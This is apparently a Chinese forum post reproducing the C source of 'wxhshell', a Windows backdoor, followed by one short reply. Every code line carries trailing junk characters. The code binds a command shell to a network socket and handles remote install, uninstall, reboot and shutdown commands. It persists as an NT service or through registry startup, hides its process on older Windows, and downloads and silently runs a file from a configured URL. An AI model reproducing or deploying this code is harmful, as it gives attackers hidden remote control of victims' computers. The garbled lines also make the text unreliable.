  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F9G$$%Q-Z  
  else [~r $US  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^J=txsx  
  } 9mtC"M<   
  else { o>k-~v7  
 u^eC  
    switch(cmd[0]) { _"e( ^yiK  
  vH:+  
  // 帮助 KB-#):'  
  case '?': { HQ#L |LN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ha'm`LiX  
    break; tp3N5I  
  } |`9zE]  
  // 安装 a{YVz\?d}  
  case 'i': { R$'nWzX#  
    if(Install()) sBG(CpQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gYIYA"xN`  
    else oM7-1O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o+23?A~+  
    break; YO4ppL~xe  
    } f2K3*}P  
  // 卸载 $fpDABf  
  case 'r': { '`VO@a  
    if(Uninstall()) ;iI2K/ 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /|^^v DL  
    else Jx[e{o)o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /u1zRw  
    break; GnHf9 JrR  
    } W${sD|d-  
  // 显示 wxhshell 所在路径 BHBR_7  
  case 'p': { n6+M qN  
    char svExeFile[MAX_PATH]; 8pKPbi;(2  
    strcpy(svExeFile,"\n\r"); !LSWg:Ev+  
      strcat(svExeFile,ExeFile); #z5?Y2t7~^  
        send(wsh,svExeFile,strlen(svExeFile),0); $f-pLF+x  
    break; N9hWx()v  
    } sSb&r  
  // 重启 g}`CdVQ2M<  
  case 'b': { R1%T>2"~&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E*]L]vR  
    if(Boot(REBOOT)) :EAfD(D{)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BiAcjN:Z  
    else {  ]@ 0V  
    closesocket(wsh); xGQ:7g+qu  
    ExitThread(0); C 5!6k1TcE  
    } 3]82gZG G  
    break; ,=yIfbFQ  
    } <1K: G/!  
  // 关机 ol>=tk 8}  
  case 'd': { 6EGEwx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3Jit2W4  
    if(Boot(SHUTDOWN)) Xq$0% WjG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c=mFYsSv  
    else { oO,p.X%  
    closesocket(wsh); q"vT]=Y}:  
    ExitThread(0); h v+i{Z9!]  
    } 438> )=  
    break; _e^V\O>  
    } C'"6@-~  
  // 获取shell 5{=MUU=  
  case 's': { gU$3Y#R  
    CmdShell(wsh); Z.19v>-c  
    closesocket(wsh); SaScP  
    ExitThread(0); rV{e[fGd  
    break; N1+]3kt ~  
  } N1t:i? q&  
  // 退出 je0 ?iovY  
  case 'x': { zXO.NSC[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4}b:..Ku  
    CloseIt(wsh); +DDvM;31w  
    break; 6H9]]Unju  
    } [IW7]Fv<F  
  // 离开 dv>zK#!  
  case 'q': { iTyApLV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z#!Cg*K(  
    closesocket(wsh); 5rhdm?Ls0  
    WSACleanup(); r F - yD1  
    exit(1); e6/} M3B  
    break; 3<SC`6'?  
        } m)2U-3*iX  
  } -M9 4 F  
  } ?q6eV~P  
9]9(o  
  // 提示信息 *]k"H`JoFC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Np)!23 "  
} {RO=4ba{J  
  } &}?e:PEy  
nhxl#  
  return; tt91)^GdYa  
} od|.E$B  
vDL/PXNC  
// shell模块句柄 sRG3`>1  
int CmdShell(SOCKET sock) smNr%}_g  
{ 6C5qW8q]u3  
STARTUPINFO si; %?y`_~G  
ZeroMemory(&si,sizeof(si));  EZFWxR/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YDL)F<Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Gj?q+-d!(5  
PROCESS_INFORMATION ProcessInfo; ]].21  
char cmdline[]="cmd"; O2B$c\pw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r3)t5P*_  
  return 0; %dQX d ]  
} w,$17+]3  
@ vudeaup  
// 自身启动模式 [Hf FC3U  
int StartFromService(void) G)`MoVH1  
{ 1gr jK.x  
typedef struct gr7_oJ:R  
{ )<&QcO_  
  DWORD ExitStatus; K!mgh7Dx  
  DWORD PebBaseAddress; ' ga2C\)  
  DWORD AffinityMask; 5sUnEHN  
  DWORD BasePriority; =Ch#pLmH  
  ULONG UniqueProcessId; $<#sCrNX  
  ULONG InheritedFromUniqueProcessId;  '%4,!  
}   PROCESS_BASIC_INFORMATION; Ks-><-2+N  
19DW~kvYk  
PROCNTQSIP NtQueryInformationProcess; .j.=|5nVo4  
c eX*|B@=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BcWReyO<M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >oNs_{  
w5Z3e^g  
  HANDLE             hProcess; gsH_pG-jU  
  PROCESS_BASIC_INFORMATION pbi; WBdb[N6\  
K} @:>;* 9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pcG q  
  if(NULL == hInst ) return 0; l+,rc*-j0  
X35hLp8 M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h:wD &Fh8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [%y D,8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )*B.y|b #  
r+crE %-  
  if (!NtQueryInformationProcess) return 0; UK/k?0  
C09@2M'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5=\b+<pE  
  if(!hProcess) return 0; R!ij CF\  
|V5H(2/nk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aDESO5  
O!jCQ{ T  
  CloseHandle(hProcess);  :n4x}%  
@nK 08Kj-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xOH@V4z:  
if(hProcess==NULL) return 0; ^EZoP:x(oE  
e$Ej7_.#;  
HMODULE hMod; 4!wfh)Z  
char procName[255]; Wj0([n  
unsigned long cbNeeded; 4k 8 @u  
UF tTt`N2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XR(kR{yo  
t1S\M%?  
  CloseHandle(hProcess); %!RQ:?=  
lDzVc`c  
if(strstr(procName,"services")) return 1; // 以服务启动 d!cx%[  
li?Gb1  
  return 0; // 注册表启动 W=/B[@3'  
} tFCeE=4%  
MG|NH0k  
// 主模块 6IA~bkc}  
int StartWxhshell(LPSTR lpCmdLine) b~-9u5.L1  
{ =:DNb(  
  SOCKET wsl; IN"qJ3<k  
BOOL val=TRUE; E*zk?G|  
  int port=0; +9t@eHJT1  
  struct sockaddr_in door; fsu'W]f  
]v#Q\Q8>  
  if(wscfg.ws_autoins) Install(); uzOZxW[e  
ul E\>5O4h  
port=atoi(lpCmdLine); OLq/OO,w  
H4U;~)i  
if(port<=0) port=wscfg.ws_port; rHznXME$wZ  
/C"E*a  
  WSADATA data; a"EXR-+8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MWB?V?qPSC  
{v(3[ 7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G|V ^C_:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e>/PW&Z8Z  
  door.sin_family = AF_INET; wp$=lU{B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G7u85cie  
  door.sin_port = htons(port); h4U .wk  
hM-qC|!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v?}/WKe+0  
closesocket(wsl); z 'j%.Dd8  
return 1; xZhh%~  
} 0z .&  
7ORwDR,`5  
  if(listen(wsl,2) == INVALID_SOCKET) { <5 okwcJ^  
closesocket(wsl); O1QHG'00  
return 1; iIg_S13  
} `KZ}smMA  
  Wxhshell(wsl); r~X6qC  
  WSACleanup(); NGNn_1  
I>:'5V  
return 0; Xo P]PR`cQ  
lw7wvZD  
} 0 }q/VH57  
Q"KH!Bu%P  
// 以NT服务方式启动 f_}55?i0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K/altyj`  
{ 0@2%pIq\  
DWORD   status = 0; s`TfNwDvU  
  DWORD   specificError = 0xfffffff; _:T\[sz5  
18~j>fN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C)`/Q(^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U^.$k-|k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Fik*7!XQ8  
  serviceStatus.dwWin32ExitCode     = 0; ;kdJxxUox  
  serviceStatus.dwServiceSpecificExitCode = 0; b8O:@j2  
  serviceStatus.dwCheckPoint       = 0; JAYom%A"  
  serviceStatus.dwWaitHint       = 0; +K&ze:-Z  
hsi#J^n{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); = fm/l-P@  
  if (hServiceStatusHandle==0) return; Mv_4*xVc  
0&<{o!>k  
status = GetLastError(); O\x Uv  
  if (status!=NO_ERROR) 3?C$Tl2G8  
{ >LLFe~9`g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qRNGe8  
    serviceStatus.dwCheckPoint       = 0; <w[)T`4N  
    serviceStatus.dwWaitHint       = 0; "w N DjWv  
    serviceStatus.dwWin32ExitCode     = status; !r$/-8b  
    serviceStatus.dwServiceSpecificExitCode = specificError; oo`mVRVf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R5Ti|k.~Y"  
    return; KY@k4S+  
  } o4d>c{p  
)x]/b=m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /Z-|E  
  serviceStatus.dwCheckPoint       = 0; 'M&`l%dIPf  
  serviceStatus.dwWaitHint       = 0; ?=aQG0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g=b 'T-  
} M^H357r%  
Xod#$'M>  
// 处理NT服务事件,比如:启动、停止 5<9}{X+@o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7z`)1^ M  
{ {whR/rX`  
switch(fdwControl) ! @|"84  
{ K@+&5\y]  
case SERVICE_CONTROL_STOP: (Ys 0|I3  
  serviceStatus.dwWin32ExitCode = 0; 4W6gKY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *c.*e4uzF  
  serviceStatus.dwCheckPoint   = 0; iX}EJD{f  
  serviceStatus.dwWaitHint     = 0; B \BP:;"  
  { yYF%U7N/n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I~EJctOG  
  } /:l>yKI+~  
  return; a&9+<  
case SERVICE_CONTROL_PAUSE: *r=6bpi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }{HlY?S  
  break; 2wikk]Z  
case SERVICE_CONTROL_CONTINUE: K-sJnQ23'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g\d|/HV K  
  break; ge*f<#|0U-  
case SERVICE_CONTROL_INTERROGATE: u`7\o~$  
  break; TtlZum\  
}; 7h0LR7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [8![UcMq  
} p%8y!^g  
/ F9BbG{  
// 标准应用程序主函数 V4iN2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0jG8Gmh!  
{ Z+JPxe#7  
<$R'y6U :  
// 获取操作系统版本 \vsfY   
OsIsNt=GetOsVer(); *}Vg]3$4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?$%#y u#.  
o^H.uBO{  
  // 从命令行安装 Dhv ^}m@  
  if(strpbrk(lpCmdLine,"iI")) Install(); s@V4ny9x  
~Cm_=[  
  // 下载执行文件 /U+0T>(HS  
if(wscfg.ws_downexe) {  K<6)SL4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0.qnbDw_  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZDMS:w.'T  
} AfB,`l`k  
s&TPG0W  
if(!OsIsNt) { AKu]c-  
// 如果时win9x,隐藏进程并且设置为注册表启动 *7FtEk/l  
HideProc(); 2XNO*zbve  
StartWxhshell(lpCmdLine); h:[%' htz  
} /5pVzv+rm  
else %xPJJ $P  
  if(StartFromService()) 7\HjQ7__  
  // 以服务方式启动 :;HJ3V;  
  StartServiceCtrlDispatcher(DispatchTable); t,Ss3  
else `B-jwVrN(  
  // 普通方式启动 Z7J8%ywQ  
  StartWxhshell(lpCmdLine); K+p7yZJ  
`r+zNJ@q  
return 0; ~nDbWv"  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五